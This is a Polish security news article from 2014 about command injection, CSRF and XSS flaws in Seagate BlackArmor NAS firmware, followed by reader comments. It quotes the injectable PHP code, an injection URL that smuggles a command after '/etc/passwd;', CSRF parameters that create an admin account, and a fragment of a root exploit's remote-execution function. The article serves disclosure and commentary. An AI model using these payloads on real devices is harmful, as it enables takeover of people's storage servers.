Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Serwer sieciowy Seagate BlackArmor podatny na Remote Command Execution, CSRF oraz XSS

08 stycznia 2014, 08:35 | W biegu | komentarze 3

Na stronach popularnej bazy danych expolitów Exploit Database, prowadzonej przez Offensive Security (znanej m.in. z dystrybucji dla pentesterów Linux BackTrack/Kali czy certyfikatów OSCP, OSWP lub OSCE), pojawiły się dzisiaj informacje o dość poważnych podatnościach w oprogramowaniu administracyjnym serwerów kopii zapasowych z serii BlackArmor 220 firmy Seagate. Luki zlokalizowane zostały w firmware w wersji sg2000-2000.1331. Zawiera je m.in. oprogramowanie napisane przy użyciu języka PHP.

Co prawda, według podanego statusu, expolity nie są jeszcze oficjalnie potwierdzone przez Exploit-DB, ale jak wynika z ich opisów i podanych Proof of Concept, nic nie wskazuje na to, by miały nie działać.

 

Seagate BlackArmor i jego tajemnice

1. Seagate BlackArmor NAS sg2000-2000.1331 – Remote Command Execution

W tym przypadku błąd znajduje się we fragmencie kodu w pliku getAlias.php, gdzie następuje przekazanie do f-cji exec() nie filtrowanej zmiennej „ip” pochodzącej bezpośrednio z żądania GET:

# The file getAlias.php located in /backupmgt has the following lines:
#
# $ipAddress = $_GET["ip"];
# if ($ipAddress != "") {
#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");
#    ..
#    ..
# }

Exploitacja takiej podatności (klasyczny Remote Command Execution/Code Injection) jest w tym wypadku banalna (Seagate BlackArmor NAS sg2000-2000.1331 – Remote Command Execution):

# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your command here>;

2. Seagate BlackArmor NAS sg2000-2000.1331 – Cross Site Request Forgery

Jak wynika z opisu, dzięki znalezionej podatności CSRF można m.in. zrestartować urządzenie, przywrócić ustawienia fabryczne, dodawać, usuwać i edytować użytkowników czy też udziały. Exploitacja podatności jest równie banalna, jak poprzedniej:

# POST: http(s)://<url | ip>/admin/access_control_user_add.php?lang=en&gi=a001&fbt=23
# Parameters:

# username attacker
# adminright yes
# fullname hacker
# userpasswd attackers_password
# userpasswdcheck attackers_password

Co ciekawe, w opisie exploita widnieje informacja, że ta podatność była zgłaszana firmie Seagate już wcześniej, we wrześniu 2013 roku. Informacja o niej (z maja 2012 roku), znajduje się także w bazie CVE (CVE-2012-2568), gdzie otrzymała nawet najwyższe oznaczenie zagrożenia – pełną „dziesiątkę” w dziesięciostopniowej skali (Seagate BlackArmor NAS sg2000-2000.1331 – Cross Site Request Forgery).

3. Seagate BlackArmor NAS sg2000-2000.1331 – Multiple Persistent Cross Site Scripting Vulnerabilities

Do kompletu autor expolitów, Jeroen – IT Nerdbox, dorzucił jeszcze kilka persistent XSS’ów: (Seagate BlackArmor NAS sg2000-2000.1331 – Multiple Persistent Cross Site Scripting Vulnerabilities)

4. Seagate BlackArmor – Root Exploit

Na deser pozostawiłem największy smaczek – kod źródłowy exploita, który, według autora, umożliwia uzyskanie zdalnego dostępu na poziomie roota do serwera BlackArmor.

Jest to bardzo prosty, choć niewątpliwie ciekawy kawałek kodu w PHP, który polecam na spokojnie poddać analizie. Zawiera w sobie choćby możliwość sprawdzania hashy MD5 przez wyszukiwarkę Google, czy też prezentuje wykorzystanie zaprezentowanej wcześniej podatności Remote Command Execution w „produkcyjnym” exploicie:

            (...)

            // fragment exploita - f-cja wykorzystująca podatność
            // Remote Command Execution
            //
            function RemoteCodeExec($url, $command) {

                 $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx
            /etc/passwd; ") . urlencode($command) . ";";

                 $handle = fopen($url, "r");

            }

            (...)

Więcej informacji tutaj: Seagate BlackArmor – Root Exploit.

 

Mała dygresja

Omówione podatności jednoznacznie pokazują kilka istotnych kwestii.

Okazuje się, że nawet tak znane firmy jak Seagate, nie są odporne na podstawowe, zdawałoby się, błędy w oprogramowaniu swoich urządzeń. Pokazane błędy są tak banalne, że aż trudno uwierzyć, iż pochodzą z tak – pozornie – pewnego źródła.

Sytuacja ma też drugą stronę. Okazuje się bowiem, że pogoń za zyskami, chęć bycia poważnym graczem na rynku i szukanie oszczędności wszędzie, gdzie się da (w tym także w procesie wytwarzania oprogramowania), czyli krótko mówiąc, przedłożenie marketingu nad inżynierię, doprowadza do takich kuriozalnych sytuacji. I raczej niech nikt nie ma złudzeń, że dotyczy to jedynie firmy Seagate. Tylko na łamach Sekuraka, można znaleźć podobne omówienia przykładów pochodzące z firm TP-Link czy Cisco. Codzienne aktualizacje serwisów śledzących pojawianie się nowych exploitów czy PoC tylko potwierdzają ten niebezpieczny trend.

W obliczu nadchodzącego „internetu rzeczy” i czekającego nas zalewu urządzeń podłączanych do Internetu (a każde z nich będzie przecież obsługiwane przez jakieś oprogramowanie, wiele z nich będzie także udostępniać interfejsy administracyjne) podejście „zysk ponad bezpieczeństwo” nie napawa optymizmem.
 

Źródła:

-bl4de

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. józek

    Hmmm… kiedyś słyszałem o fajnym dysku, który miał magiczny przycisk autodestrukcji. Jego największą wadą było to, że musiał być cały czas podpięty do prądu. Wymyślił już ktoś coś takiego, tylko na SSD?

    Odpowiedz
  2. MateuszM

    To, że takie luki znajduję się w TP-Link-u, nie powinno dziwić nikogo. Z całym szacunkiem i uznaniem dla tej firmy i jej dorobku – jest to tylko „chińszczyzna”, która aspiruje do miana poważnego gracza a jej największą zaletą jest tani sprzęt o „wysokich” parametrach, który można wykorzystać pod Open WRT.

    Zestawianie Cisco, Junipera czy Seagatea z TP-Linkiem zakrawa o nadużycie. Przykro jednak patrzeć na wspomniany w tekście upadek jakości wytwarzanych produktów. Żeby nie wyjść na rasistę i azjatofoba nawet nie chcę myśleć, gdzie (w jakim kraju) pisali ten dziurawy software, bo sprzęt wiadomo gdzie się produkuje.

    Odpowiedz
  3. bl4de

    @MateuszM
    > Zestawianie Cisco, Junipera czy Seagatea z TP-Linkiem zakrawa o nadużycie

    To były tylko przykłady, nie było moją intencją w jakikolwiek sposób porównywanie tych firm. Chodziło mi bardziej o ogólny wniosek, że obecnie produkowane urządzenia będące w sprzedaży oparte są na oprogramowaniu, które zawiera nawet banalne, znane od lat i stosunkowo proste do wyeliminowania czy uniknięcia luki. I fakt, że zdażają się one także tym firmom, po których byśmy się tego najmniej spodziewali.

    I że tak naprawdę poza bijącymi na alarm specjalistami od bezpieczeństwa IT nikogo to nie interesuje. A efekty widzimy na co dzień (wystarczy śledzić choćby listy mailingowe na SecurityFocus).

    Odpowiedz

Odpowiedz